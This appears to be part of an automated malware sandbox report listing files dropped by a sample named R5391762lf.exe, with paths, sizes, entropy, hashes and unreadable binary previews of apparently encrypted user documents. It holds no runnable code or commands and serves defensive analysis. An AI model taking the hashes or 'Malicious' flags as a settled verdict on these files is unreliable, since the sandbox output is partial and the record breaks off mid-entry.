Preview:	NEBFQ..i. .C.RW..<8. ..ol.8..\|D.!.3...#.R'9...l.L.....Qr...'xU...].b..&.2Y@...F.i2.B..oi.:.U.;(n)..m.&.x.Bx....z.rs...cy....8..J.n^%..6........\|........g^N I;Q.$~0.......oo.e.,..O.p..-..@.2.[......S.%'."y.<.SrN.f(.."....<\|......U.h8q....>}W...{...."....o.._@m......l.CD.!&+.5...7..........g-......n. K5aU....?]m.........W ....>.#.(Q.......1.U.y.w.a.><. ...B.O....2(g..8..F=P:.........Z....h.D.a.v...nH11.N?~.....Z..'.w.}..=..lR;..du.j[.2..<U.Me.U.lL/..3o.Z6.a2..Tw.....Z..o.[.2.. .1.[./..@.._w.......Jz.}@..H.gY@...QjV..wi..}....ED5RZ.....?.....A.s..P.....H..,.)g.sl.......RR.^.L.T.<:.,._..0..2.u..........j.cJw..(49k...&..z.F..=...P...../..U7.(s.]..5Rh2QW..N~..1<1\.D.5..Hn.7S..\..kZ..2.fh........+yR..V..m.-v5b.}.! g.@X.....uP.N.k....<rC...w."..}.#...b.....c0..A.6...c..'...L..?.<......]...Sj..VOLI...@v........L..+.S.......y.i..[.(....z.MV..@.Fe....>.z...6.i..T0...R.....:.`C}..n<l..ui.xr....amq......)..B..Q0BR&y`.V.K.a.....s..q..;....bw\M.X.. .

C:\Users\user\Downloads\NEBFQQYWPS.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832386047841615
Encrypted:	false
SSDEEP:	24:s4EwR9hH1/ZrqLuoEgu+hP5sF1E2NEvBxYUhwSx9XP4Y0UwFeXq8uWbD:s98HLlguOsNw9P7z2eXFuED
MD5:	852F774DF881990FABFA6F10CFE25107
SHA1:	01AD8D9F18150071D427987888CFF14EC4447D82
SHA-256:	14A226C1ACC7AD3F90477AAAC592D374E17E542F05491A227BF19C4E0AC7651D
SHA-512:	2E6D6517C1CEAD31366AE2A78F9E323766231C41454069613CDE99D7DA89B1E3DBA11DF6181F8C7D03FA59DFF64776C2219B9347830DCE6738CC0FC38BD28908
Malicious:	false
Preview:	NEBFQ..i. .C.RW..<8. ..ol.8..\|D.!.3...#.R'9...l.L.....Qr...'xU...].b..&.2Y@...F.i2.B..oi.:.U.;(n)..m.&.x.Bx....z.rs...cy....8..J.n^%..6........\|........g^N I;Q.$~0.......oo.e.,..O.p..-..@.2.[......S.%'."y.<.SrN.f(.."....<\|......U.h8q....>}W...{...."....o.._@m......l.CD.!&+.5...7..........g-......n. K5aU....?]m.........W ....>.#.(Q.......1.U.y.w.a.><. ...B.O....2(g..8..F=P:.........Z....h.D.a.v...nH11.N?~.....Z..'.w.}..=..lR;..du.j[.2..<U.Me.U.lL/..3o.Z6.a2..Tw.....Z..o.[.2.. .1.[./..@.._w.......Jz.}@..H.gY@...QjV..wi..}....ED5RZ.....?.....A.s..P.....H..,.)g.sl.......RR.^.L.T.<:.,._..0..2.u..........j.cJw..(49k...&..z.F..=...P...../..U7.(s.]..5Rh2QW..N~..1<1\.D.5..Hn.7S..\..kZ..2.fh........+yR..V..m.-v5b.}.! g.@X.....uP.N.k....<rC...w."..}.#...b.....c0..A.6...c..'...L..?.<......]...Sj..VOLI...@v........L..+.S.......y.i..[.(....z.MV..@.Fe....>.z...6.i..T0...R.....:.`C}..n<l..ui.xr....amq......)..B..Q0BR&y`.V.K.a.....s..q..;....bw\M.X.. .

C:\Users\user\Downloads\PIVFAGEAAV.jpg

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847143325260021
Encrypted:	false
SSDEEP:	24:7uiCpexDPhOTo56uPTdu+sdEcAG6JhmgFN0Sqe1ZrnLUDobXq8uWbD:kpet512pEG6Jh53nsgXFuED
MD5:	056C9F48AAEA46883591C0155482F483
SHA1:	CE61582C599183C5AFCAA46F07203A2629D1C210
SHA-256:	2DEF49CCF8BB73CC6EAECB743A8D3EA4EC0FE3FBE58B867E7DE649F61BCF7315
SHA-512:	870E094CFECD0C91FB3E65C7DBEE5B52531610BEC0B97AEB187736F28F607B40DC5E01323858CFC22DCF2567BC6F932DD4F3B22863376C1E1CF7679DFC189A05
Malicious:	false
Preview:	PIVFA...&...=..e...M.l.\|.M........ot.@{w/.Na:.q.8...1...N....7R...T.......$.....e.f&.\|.J=Ht...i.@L....r...E.T...q.P.sl....o..5.....!c.L:..'6rl_1..).v2`D.....%...3I....+}h...........J.v...0...4nP...i..7.,9L..........I..L..=..U.zP..\|..n<...A..df....O.....0.V3..R..:8.Y..=.US..HG...E...U5Y\|f.[4Qe_.Y...,...O....g..H....&0.K7._&.g..3&.$.H2X.%KG...).._jY.d..o.d.....u..YDl...8D.GB....:.m.B.....@1.c.WX.....jr7t....Dl.n.`..\.2.&.;..+.(........^..RY.H...Q....r...o.s...6\sr.^.Af.L...LMo.oX.68Dh...{o,.e.C{.kY..Tv..+......tr.!y.q....".P.2..^wu..B.....Ft.$9s....g9..#.....?.q...M........ .n..E..\|>.....&..p}....'..#..[....u".hp.!.G.Q...In..K.WR...?.......y.c.X.d....&cU+..&..%B..=V...c.7..3..>@.e1.i.[/Y.a...`.[:..m%T..I...x......22...-...0..3x..m.?<]...Z)..gr....\.1O.........)n..;..EuP/..f......eu...=O))...L.l.f"...kHQ.Pd'Y.:.=....+,......g.B.).............\..x...y.k......W?%..x...e......^..qs.]...1..Q.p...}t+...i.V.^._.'.:......b.T..D..!

C:\Users\user\Downloads\PIVFAGEAAV.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847143325260021
Encrypted:	false
SSDEEP:	24:7uiCpexDPhOTo56uPTdu+sdEcAG6JhmgFN0Sqe1ZrnLUDobXq8uWbD:kpet512pEG6Jh53nsgXFuED
MD5:	056C9F48AAEA46883591C0155482F483
SHA1:	CE61582C599183C5AFCAA46F07203A2629D1C210
SHA-256:	2DEF49CCF8BB73CC6EAECB743A8D3EA4EC0FE3FBE58B867E7DE649F61BCF7315
SHA-512:	870E094CFECD0C91FB3E65C7DBEE5B52531610BEC0B97AEB187736F28F607B40DC5E01323858CFC22DCF2567BC6F932DD4F3B22863376C1E1CF7679DFC189A05
Malicious:	false
Preview:	PIVFA...&...=..e...M.l.\|.M........ot.@{w/.Na:.q.8...1...N....7R...T.......$.....e.f&.\|.J=Ht...i.@L....r...E.T...q.P.sl....o..5.....!c.L:..'6rl_1..).v2`D.....%...3I....+}h...........J.v...0...4nP...i..7.,9L..........I..L..=..U.zP..\|..n<...A..df....O.....0.V3..R..:8.Y..=.US..HG...E...U5Y\|f.[4Qe_.Y...,...O....g..H....&0.K7._&.g..3&.$.H2X.%KG...).._jY.d..o.d.....u..YDl...8D.GB....:.m.B.....@1.c.WX.....jr7t....Dl.n.`..\.2.&.;..+.(........^..RY.H...Q....r...o.s...6\sr.^.Af.L...LMo.oX.68Dh...{o,.e.C{.kY..Tv..+......tr.!y.q....".P.2..^wu..B.....Ft.$9s....g9..#.....?.q...M........ .n..E..\|>.....&..p}....'..#..[....u".hp.!.G.Q...In..K.WR...?.......y.c.X.d....&cU+..&..%B..=V...c.7..3..>@.e1.i.[/Y.a...`.[:..m%T..I...x......22...-...0..3x..m.?<]...Z)..gr....\.1O.........)n..;..EuP/..f......eu...=O))...L.l.f"...kHQ.Pd'Y.:.=....+,......g.B.).............\..x...y.k......W?%..x...e......^..qs.]...1..Q.p...}t+...i.V.^._.'.:......b.T..D..!

C:\Users\user\Downloads\PIVFAGEAAV.mp3

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8387607030919115
Encrypted:	false
SSDEEP:	24:yiVEwMoniuGtp/+THWsuo5FemN5vDt1voMA43tu+Jjy4MZLa36TruVlrXq8uWbD:NpkGzWsuYFHvvDIvt+594m6YlrXFuED
MD5:	033B0695730AF231E8F3BD868EC1485C
SHA1:	CD63F473966290D8FEACA0BEE3C0B4F47A049849
SHA-256:	9ADE4D2AA187A570C14988B646BDEDE34A7622202DFA6ADEEA7F8D2914D44A83
SHA-512:	D62BE89944FC24E02209CC9A8E3D3F7C0BE1933C9AF9603024A87375514B226BF3F6381766796733FFAF4C07960993C7E722DA9A292EAF5F1F874C4760CAC2A9
Malicious:	true
Preview:	PIVFA......!'.r..r...=._/.-....p...W..c.G....`..s..@.....H..lz..p]j..u.Q.Oqc...........,.I.W+\|....l.&-.u..S....._..G.{.fC.q..x......nRi..z.YI.D......B.....K...R. .{.v....>...3...e.:A.7Aa#.R1R... .^.i.1.+q5...%....<.VY...3..A...9u..z.L.;.....[.S...2.,..[7.[-..../....w?.@.@..I....O.5f......\7cs.!.A...ot....!..........;B.!.D.O...g..m5.,,.,J...`..0.0Q......J ..#h..zwU......[...Y..;.m...,.$O..d...Q.._.5S...>....gM=.._.A....T.F...p\m..."R..N.....u;.j......1...y..5}.W3 ..a;I.u..E}...L#.....}.........7....f.S_+1..hY._rC$-K..9..p}..q..,......7.$...1.,..J(!{...t..%..{.^.[...`sp^.......~..h`<.S.h:..N./..fyWi#cx..i...2$.;.....b......T....?...2_.g..s...F<`.7 ....x...0.\|..^sL..^.:.....%C.=..!-.........z.,..f.RQ..y`.....0{.....zAD.5.3.A.f...S...........".....j.qdm.h.;xX35.....w[.p..2....^..F.J....N..([.{.....4.....'m>..6....*.:?......)y.7.....s{...T.,.c............r.........0..2r..T!.W.........z.L...y..m@..._.f+Q....u.P.cD.0....^[..E$.

C:\Users\user\Downloads\PIVFAGEAAV.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8387607030919115
Encrypted:	false
SSDEEP:	24:yiVEwMoniuGtp/+THWsuo5FemN5vDt1voMA43tu+Jjy4MZLa36TruVlrXq8uWbD:NpkGzWsuYFHvvDIvt+594m6YlrXFuED
MD5:	033B0695730AF231E8F3BD868EC1485C
SHA1:	CD63F473966290D8FEACA0BEE3C0B4F47A049849
SHA-256:	9ADE4D2AA187A570C14988B646BDEDE34A7622202DFA6ADEEA7F8D2914D44A83
SHA-512:	D62BE89944FC24E02209CC9A8E3D3F7C0BE1933C9AF9603024A87375514B226BF3F6381766796733FFAF4C07960993C7E722DA9A292EAF5F1F874C4760CAC2A9
Malicious:	true
Preview:	PIVFA......!'.r..r...=._/.-....p...W..c.G....`..s..@.....H..lz..p]j..u.Q.Oqc...........,.I.W+\|....l.&-.u..S....._..G.{.fC.q..x......nRi..z.YI.D......B.....K...R. .{.v....>...3...e.:A.7Aa#.R1R... .^.i.1.+q5...%....<.VY...3..A...9u..z.L.;.....[.S...2.,..[7.[-..../....w?.@.@..I....O.5f......\7cs.!.A...ot....!..........;B.!.D.O...g..m5.,,.,J...`..0.0Q......J ..#h..zwU......[...Y..;.m...,.$O..d...Q.._.5S...>....gM=.._.A....T.F...p\m..."R..N.....u;.j......1...y..5}.W3 ..a;I.u..E}...L#.....}.........7....f.S_+1..hY._rC$-K..9..p}..q..,......7.$...1.,..J(!{...t..%..{.^.[...`sp^.......~..h`<.S.h:..N./..fyWi#cx..i...2$.;.....b......T....?...2_.g..s...F<`.7 ....x...0.\|..^sL..^.:.....%C.=..!-.........z.,..f.RQ..y`.....0{.....zAD.5.3.A.f...S...........".....j.qdm.h.;xX35.....w[.p..2....^..F.J....N..([.{.....4.....'m>..6....*.:?......)y.7.....s{...T.,.c............r.........0..2r..T!.W.........z.L...y..m@..._.f+Q....u.P.cD.0....^[..E$.

C:\Users\user\Downloads\PWCCAWLGRE.png

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843033285478101
Encrypted:	false
SSDEEP:	24:G0goNWQaAsiZj/WF94a0Q8kGXyszViKUftNuC41SvSFGawwTd1r/b8T7xjaImKF/:G0VNWCC4a0GwhVaft89Df1/8T7jpTXFX
MD5:	25266812445122F982CDFFEC020FCD67
SHA1:	8F26C760B0829FF5E23932578700ED0931CBD62A
SHA-256:	325B6BEE26D6033E3B56189DDF1D1D46F07C8BDCD9E3C69C36434B43E4234543
SHA-512:	96E09568137827034C635719EA00ED7D865387DC182320A8E9ACA52D423480D8F47A2C127011A9743A64CD871E1062B532027B53C54BFD23B8CEB8F2AA06193D
Malicious:	false
Preview:	PWCCA.S3...5..@@...)n........A..6.%...%.~.n!@cS....NCxt..}.]{......Pc...ju.;.O.l.)......`.rJ.k.a.e..j..........:. ..C..[m...?...r.J.gA.]..{.....R.;....\.m.....4.8.....U..D..E..Y.....<.pF...1#G...,..'...._j....7....U.b\"..bg...,...z4..".A...D...%...i."K....C.g.)..K.2.P.v..?.e.Q......+T...MdQ.....)h..\|..2.........n...~.@.L.....6b.....r....o.&G..`.#Vo..~N7....I......y.....68..$.c.&..x.9.....U.Av..O...Z r...L...?+.4........x.[...G.Y..R`H.{......8,......0M....}.....w:......e.(......kSA.]...>n..^......V..Q!..!.0.0.c..g.x'`.Cu\...Q4.....\|.9?.l....=.g.."i..+I.....L.5z..lh....9..."E}.k...c.o..a..S)...+.._.<.B.$..{.W..ZG..:w....=.O..-.u...5.#nG..Q..G...zH..:....nX.9~3._..6*.WP.^..U..J~2.&.eS{.....@..D...,..y.M2#..]..#Z..(z.K....6.y..O".$...p$J.@p..83.6......\|~U..+Q3~\|..#..l.........#M.Z.1.m......F.=.;g.G...hg#LT....}....F.7^-./{v.....W...e\|.q.\|y.NPW..._2=RX.x....,:K5...3...,c.6.$..\z.w2...w!b...B..h....Z..gEmm.........:...Ry...Amoy.="..%O....

C:\Users\user\Downloads\PWCCAWLGRE.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843033285478101
Encrypted:	false
SSDEEP:	24:G0goNWQaAsiZj/WF94a0Q8kGXyszViKUftNuC41SvSFGawwTd1r/b8T7xjaImKF/:G0VNWCC4a0GwhVaft89Df1/8T7jpTXFX
MD5:	25266812445122F982CDFFEC020FCD67
SHA1:	8F26C760B0829FF5E23932578700ED0931CBD62A
SHA-256:	325B6BEE26D6033E3B56189DDF1D1D46F07C8BDCD9E3C69C36434B43E4234543
SHA-512:	96E09568137827034C635719EA00ED7D865387DC182320A8E9ACA52D423480D8F47A2C127011A9743A64CD871E1062B532027B53C54BFD23B8CEB8F2AA06193D
Malicious:	false
Preview:	PWCCA.S3...5..@@...)n........A..6.%...%.~.n!@cS....NCxt..}.]{......Pc...ju.;.O.l.)......`.rJ.k.a.e..j..........:. ..C..[m...?...r.J.gA.]..{.....R.;....\.m.....4.8.....U..D..E..Y.....<.pF...1#G...,..'...._j....7....U.b\"..bg...,...z4..".A...D...%...i."K....C.g.)..K.2.P.v..?.e.Q......+T...MdQ.....)h..\|..2.........n...~.@.L.....6b.....r....o.&G..`.#Vo..~N7....I......y.....68..$.c.&..x.9.....U.Av..O...Z r...L...?+.4........x.[...G.Y..R`H.{......8,......0M....}.....w:......e.(......kSA.]...>n..^......V..Q!..!.0.0.c..g.x'`.Cu\...Q4.....\|.9?.l....=.g.."i..+I.....L.5z..lh....9..."E}.k...c.o..a..S)...+.._.<.B.$..{.W..ZG..:w....=.O..-.u...5.#nG..Q..G...zH..:....nX.9~3._..6*.WP.^..U..J~2.&.eS{.....@..D...,..y.M2#..]..#Z..(z.K....6.y..O".$...p$J.@p..83.6......\|~U..+Q3~\|..#..l.........#M.Z.1.m......F.=.;g.G...hg#LT....}....F.7^-./{v.....W...e\|.q.\|y.NPW..._2=RX.x....,:K5...3...,c.6.$..\z.w2...w!b...B..h....Z..gEmm.........:...Ry...Amoy.="..%O....

C:\Users\user\Downloads\QCFWYSKMHA.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846101314942735
Encrypted:	false
SSDEEP:	24:INGeousnakuQc+7Wt9qrvdpSWKFTygvxAkXL22XSG8utE41AVZ2OKa+rTYaaXq8X:ID8zckKt9FT/vWE6G8msVZ2OSYTXFuED
MD5:	4049A82FE80BEF6F9731922CBC13CC13
SHA1:	70FF0CC2F1756FF9CCFDA1AEE63D774A47375AAD
SHA-256:	0E51B97E2445E8C6D560C0866A620F51049665807F338F7FDCB9873EA23CA854
SHA-512:	6F487FC2500D03258056625037B0E78C821043ADD30989108E8EF59F4A682B49F00918CD37576567AF4D001BCB1F9EAD5E444AB1929C900D4E982D95E1EF5156
Malicious:	false
Preview:	QCFWY...V8.+..8...~..;6`.).%..z..e.@.!..M..............q.....S&%......Cy.B.k...Y......z.t.........+.K..+.?~M..zC.).......T.4#...o.P..k.OX.a.bR..nW..4/.4\..Z.2..>...V:.U...i..Q+.......s...6.R../q..g8........0.'.....V..`..p..."....`\=..Dw)....Kw<...UF..X.M.#.f...y.M-d^..F.].......5z......\....W.?4......i..3^(n:.HG^...&..)......{W.;....}.Y......u....M.'...=$)o!B............F..r..-}..n>.]...As..p.....F....G..d......_v.......q...`...h..f.=v.W6.[W.s.....V#.V...\..9..(..Y.T1k.;.Q:.....x....6.S.Y....+..R. [..R.{......v~T-<.}.J........H.P^,"....'........D.Z...-........&..ft....0.".....o......mC..>...v....a..".7..=.....ld6.`;].....H..(D....`.Q.........$.yt..Y.k.7.m#,:..f.i...........<.w....E..v..og....W.....X..2b..8PZARY..h8...C:zB..[;.P...3I....r...4...{=.S.Pr ....F6..v.(.^............l..I.$...!...k9.,.S.Y.s.DQ....B.0..%.....<S....$.u.q.5pLk.I6.S..$.......0-D.....cx&.h.D..4..Z.....!.. ".Z...?.p.."M.8..?}...z.#....n..t........Z.F.[a..\v.6O....;...q.~.3.o

C:\Users\user\Downloads\QCFWYSKMHA.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846101314942735
Encrypted:	false
SSDEEP:	24:INGeousnakuQc+7Wt9qrvdpSWKFTygvxAkXL22XSG8utE41AVZ2OKa+rTYaaXq8X:ID8zckKt9FT/vWE6G8msVZ2OSYTXFuED
MD5:	4049A82FE80BEF6F9731922CBC13CC13
SHA1:	70FF0CC2F1756FF9CCFDA1AEE63D774A47375AAD
SHA-256:	0E51B97E2445E8C6D560C0866A620F51049665807F338F7FDCB9873EA23CA854
SHA-512:	6F487FC2500D03258056625037B0E78C821043ADD30989108E8EF59F4A682B49F00918CD37576567AF4D001BCB1F9EAD5E444AB1929C900D4E982D95E1EF5156
Malicious:	false
Preview:	QCFWY...V8.+..8...~..;6`.).%..z..e.@.!..M..............q.....S&%......Cy.B.k...Y......z.t.........+.K..+.?~M..zC.).......T.4#...o.P..k.OX.a.bR..nW..4/.4\..Z.2..>...V:.U...i..Q+.......s...6.R../q..g8........0.'.....V..`..p..."....`\=..Dw)....Kw<...UF..X.M.#.f...y.M-d^..F.].......5z......\....W.?4......i..3^(n:.HG^...&..)......{W.;....}.Y......u....M.'...=$)o!B............F..r..-}..n>.]...As..p.....F....G..d......_v.......q...`...h..f.=v.W6.[W.s.....V#.V...\..9..(..Y.T1k.;.Q:.....x....6.S.Y....+..R. [..R.{......v~T-<.}.J........H.P^,"....'........D.Z...-........&..ft....0.".....o......mC..>...v....a..".7..=.....ld6.`;].....H..(D....`.Q.........$.yt..Y.k.7.m#,:..f.i...........<.w....E..v..og....W.....X..2b..8PZARY..h8...C:zB..[;.P...3I....r...4...{=.S.Pr ....F6..v.(.^............l..I.$...!...k9.,.S.Y.s.DQ....B.0..%.....<S....$.u.q.5pLk.I6.S..$.......0-D.....cx&.h.D..4..Z.....!.. ".Z...?.p.."M.8..?}...z.#....n..t........Z.F.[a..\v.6O....;...q.~.3.o

C:\Users\user\Downloads\QNCYCDFIJJ.jpg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838457336459779
Encrypted:	false
SSDEEP:	24:NPcDODXfq8JBfitNwu8kkdANQPbkpXNKwtU92PS7DpJrH1oOXq8uWbD:GDODS8JBKtNmUNQPbk7KgW2PupJrVoO5
MD5:	B3F7BF21ECFB3C3C63FF39CD9068D724
SHA1:	B1862A54A4480B77AFBDD582BE48D044D01F9871
SHA-256:	B84E984656626F908AE117934CD064523532888228D75326900ED7ADE0D2F530
SHA-512:	3E1F0DCB4AEFE74DD360BD42252735C4E10E7D227818A5C3C865955D4D36623C7092CC4B6918708AAB34226116258A34335D439AFB6687DB54DC3D1F2EC89BA3
Malicious:	false
Preview:	QNCYC.(.@Nh..6>.....z...=BO..[.....3....a...nP3e9.[.]...Bq .dc........7..,..<mB..].0.i..K.k.....q....&L.1...<.X.E.....<.j.z...{..WD./^y.M....?}..J>.9.......z..2.... 0.....H...>q..F.N7,..i...u,r.c.....P......Y.p^.7.q.y..q.S...N..m..!..l'.I.....;j.,.!T.j.`....y.Xo#..T.@s..e.j..N....?-..\|@.2P.w@....6.E.B8..8+<.$.ts.T.."t1?.......R.7U.........(.G.EoH.........i.h8)^.Y .l9Y....96.&../.^hu.5,.9.q.=....K..#..I )GD..L..sj^.y^......3..U......W...M.M.F.1...].......~..Y..P.g0..`z.+..(.AG.8m..g...j.L.YkK..)....@..2.jHE,....^.ieE.u..@.4U.%xO..r..U.....Y.\.. _XK.F5..}q....{I.K3.[..V.....}.~..H.'..xa...I....<..>.P.?._....c...........@..?N3.F...*..G.....B.HK..,R.[.=`iv. M`.N.....i..H.j.,y]...]4..e" 8!.....Zp..]...%.N7.....r6...<1..IU......i..X+.......X..7..z..:o?Xu..OBQ.ui.R.....^^m..wk4.n.....ba...2.x"Vn63..6.t.8[./..c.. .C.5.3.A..........c._A..c.^._.[.~.Q..H...?.&.`q.V..]..'.(.<.s.:X..li.0....#nk...}.?....&.6$.QF..j.FU."....?....`..P....... 8..,.1..wx

C:\Users\user\Downloads\QNCYCDFIJJ.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838457336459779
Encrypted:	false
SSDEEP:	24:NPcDODXfq8JBfitNwu8kkdANQPbkpXNKwtU92PS7DpJrH1oOXq8uWbD:GDODS8JBKtNmUNQPbk7KgW2PupJrVoO5
MD5:	B3F7BF21ECFB3C3C63FF39CD9068D724
SHA1:	B1862A54A4480B77AFBDD582BE48D044D01F9871
SHA-256:	B84E984656626F908AE117934CD064523532888228D75326900ED7ADE0D2F530
SHA-512:	3E1F0DCB4AEFE74DD360BD42252735C4E10E7D227818A5C3C865955D4D36623C7092CC4B6918708AAB34226116258A34335D439AFB6687DB54DC3D1F2EC89BA3
Malicious:	false
Preview:	QNCYC.(.@Nh..6>.....z...=BO..[.....3....a...nP3e9.[.]...Bq .dc........7..,..<mB..].0.i..K.k.....q....&L.1...<.X.E.....<.j.z...{..WD./^y.M....?}..J>.9.......z..2.... 0.....H...>q..F.N7,..i...u,r.c.....P......Y.p^.7.q.y..q.S...N..m..!..l'.I.....;j.,.!T.j.`....y.Xo#..T.@s..e.j..N....?-..\|@.2P.w@....6.E.B8..8+<.$.ts.T.."t1?.......R.7U.........(.G.EoH.........i.h8)^.Y .l9Y....96.&../.^hu.5,.9.q.=....K..#..I )GD..L..sj^.y^......3..U......W...M.M.F.1...].......~..Y..P.g0..`z.+..(.AG.8m..g...j.L.YkK..)....@..2.jHE,....^.ieE.u..@.4U.%xO..r..U.....Y.\.. _XK.F5..}q....{I.K3.[..V.....}.~..H.'..xa...I....<..>.P.?._....c...........@..?N3.F...*..G.....B.HK..,R.[.=`iv. M`.N.....i..H.j.,y]...]4..e" 8!.....Zp..]...%.N7.....r6...<1..IU......i..X+.......X..7..z..:o?Xu..OBQ.ui.R.....^^m..wk4.n.....ba...2.x"Vn63..6.t.8[./..c.. .C.5.3.A..........c._A..c.^._.[.~.Q..H...?.&.`q.V..]..'.(.<.s.:X..li.0....#nk...}.?....&.6$.QF..j.FU."....?....`..P....... 8..,.1..wx

C:\Users\user\Downloads\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852690666758257
Encrypted:	false
SSDEEP:	24:knTUaUfPodBcxJ7B5jfsmvF1zw3Y6ZRQAtYPp9M9nP2jwuLViXq8uWbD:yjQPfJ7HfsmvF1zwo8gq+ViXFuED
MD5:	F215B27ACD1BDA4D38702AC78DB5CC57
SHA1:	169C40F0D38FB2DAF71915CCB0C4A459A5CE6574
SHA-256:	B7D1BD684A6088C93323FC274AF436C6DC2C29547C39BAB47FC1FA660B97C160
SHA-512:	064BBA7D13AA61F4F51E0F500A5C3E43242C53F70B849B382DAEB5621F3533E9288207B9B3BA2DEB3A1DCF2A1AE70760D5A7695A4FBC50AD3BF9F314B3CFB424
Malicious:	false
Preview:	SFPUS..!..MMU!.n[.t..zSG2\|H.[#....S..........f.b...U..2.....}.+A....^.t..fS..Q...W.9.1...F.Q.}.V.9..?.C....3.j....w.ub....\|H.............n.....lV..gl..... .!...w..7....+..]...H=D.Q.j.X.by.F.b.U...~...\y.k.Gc(mc.44...k.}..Jbt.+.\|.. ..@.$G..Y+........'h.....A..N..>...k)...x....3lJ.E.K.9...O.."..-PSS.G......C.:...n..e.(.*...z.....d.9.+..@a.!.09cu...@.....{..M"..r.E...%..4.ggU.....^.aHI.....5.I...F.5`..<2{.......h..`g4..Z.i2L</./~...k).l.T.~.~...+._.C.DB.K.l........J...../7>.....$..!G..F..):..O[.l..Cx{I:]..U,..e...,y.2.:eq..yd....<A..!zN.....:.:8~.e...xyQQ4.6}..........K....:.-..}.6r.s..x.{K....l.......\|.Y.uQo-...}s7.t.f...}.K..... Dd......w...u8X...<.E.$?%..\|.]!$f.o..$....7.J.k.?.....g.0..#H.~....m.O.v..}IS.{....p"..S.yC.y...q.....\.F....8d.......^......r...[MZ:;.!...P0..!...1...~.....y.&.N...J.1.C)....Z..../..(...zX...U...;.e...._..>0a.Us.{.J..]V..l./2\|..>f.6...........\,.i.nF..$..q.[N$C.+ro..w....\.@.og%....[.v.Q...j

C:\Users\user\Downloads\SFPUSAFIOL.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852690666758257
Encrypted:	false
SSDEEP:	24:knTUaUfPodBcxJ7B5jfsmvF1zw3Y6ZRQAtYPp9M9nP2jwuLViXq8uWbD:yjQPfJ7HfsmvF1zwo8gq+ViXFuED
MD5:	F215B27ACD1BDA4D38702AC78DB5CC57
SHA1:	169C40F0D38FB2DAF71915CCB0C4A459A5CE6574
SHA-256:	B7D1BD684A6088C93323FC274AF436C6DC2C29547C39BAB47FC1FA660B97C160
SHA-512:	064BBA7D13AA61F4F51E0F500A5C3E43242C53F70B849B382DAEB5621F3533E9288207B9B3BA2DEB3A1DCF2A1AE70760D5A7695A4FBC50AD3BF9F314B3CFB424
Malicious:	false
Preview:	SFPUS..!..MMU!.n[.t..zSG2\|H.[#....S..........f.b...U..2.....}.+A....^.t..fS..Q...W.9.1...F.Q.}.V.9..?.C....3.j....w.ub....\|H.............n.....lV..gl..... .!...w..7....+..]...H=D.Q.j.X.by.F.b.U...~...\y.k.Gc(mc.44...k.}..Jbt.+.\|.. ..@.$G..Y+........'h.....A..N..>...k)...x....3lJ.E.K.9...O.."..-PSS.G......C.:...n..e.(.*...z.....d.9.+..@a.!.09cu...@.....{..M"..r.E...%..4.ggU.....^.aHI.....5.I...F.5`..<2{.......h..`g4..Z.i2L</./~...k).l.T.~.~...+._.C.DB.K.l........J...../7>.....$..!G..F..):..O[.l..Cx{I:]..U,..e...,y.2.:eq..yd....<A..!zN.....:.:8~.e...xyQQ4.6}..........K....:.-..}.6r.s..x.{K....l.......\|.Y.uQo-...}s7.t.f...}.K..... Dd......w...u8X...<.E.$?%..\|.]!$f.o..$....7.J.k.?.....g.0..#H.~....m.O.v..}IS.{....p"..S.yC.y...q.....\.F....8d.......^......r...[MZ:;.!...P0..!...1...~.....y.&.N...J.1.C)....Z..../..(...zX...U...;.e...._..>0a.Us.{.J..]V..l./2\|..>f.6...........\,.i.nF..$..q.[N$C.+ro..w....\.@.og%....[.v.Q...j

C:\Users\user\Downloads\SFPUSAFIOL.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.82394999542704
Encrypted:	false
SSDEEP:	24:zGacHT+KQMZYNQixmPB4oDpyL7yiKQYz2XlA0JuMeEPI7cT5nW1xbtmyz0mXq8uQ:z5cH7QM4UB4oDpgusZiRMeEPocTwHQHY
MD5:	82A520B44D3863168126F481462696A0
SHA1:	111EDBBAD40782F99D5AAA935D17A540523B9173
SHA-256:	B7F8E056924ED6D7C9C7E4F4D4204CC9DB09AC624E6C2CAA00F7F98DC1307512
SHA-512:	05B367F463B61747A87509553E343882585AC5B9F2978A6315CC9FD732841E6B36B67CD9D970C02B4C67F4B16CB56CECC964AE35C1B31D1459356E8E18A0544F
Malicious:	false
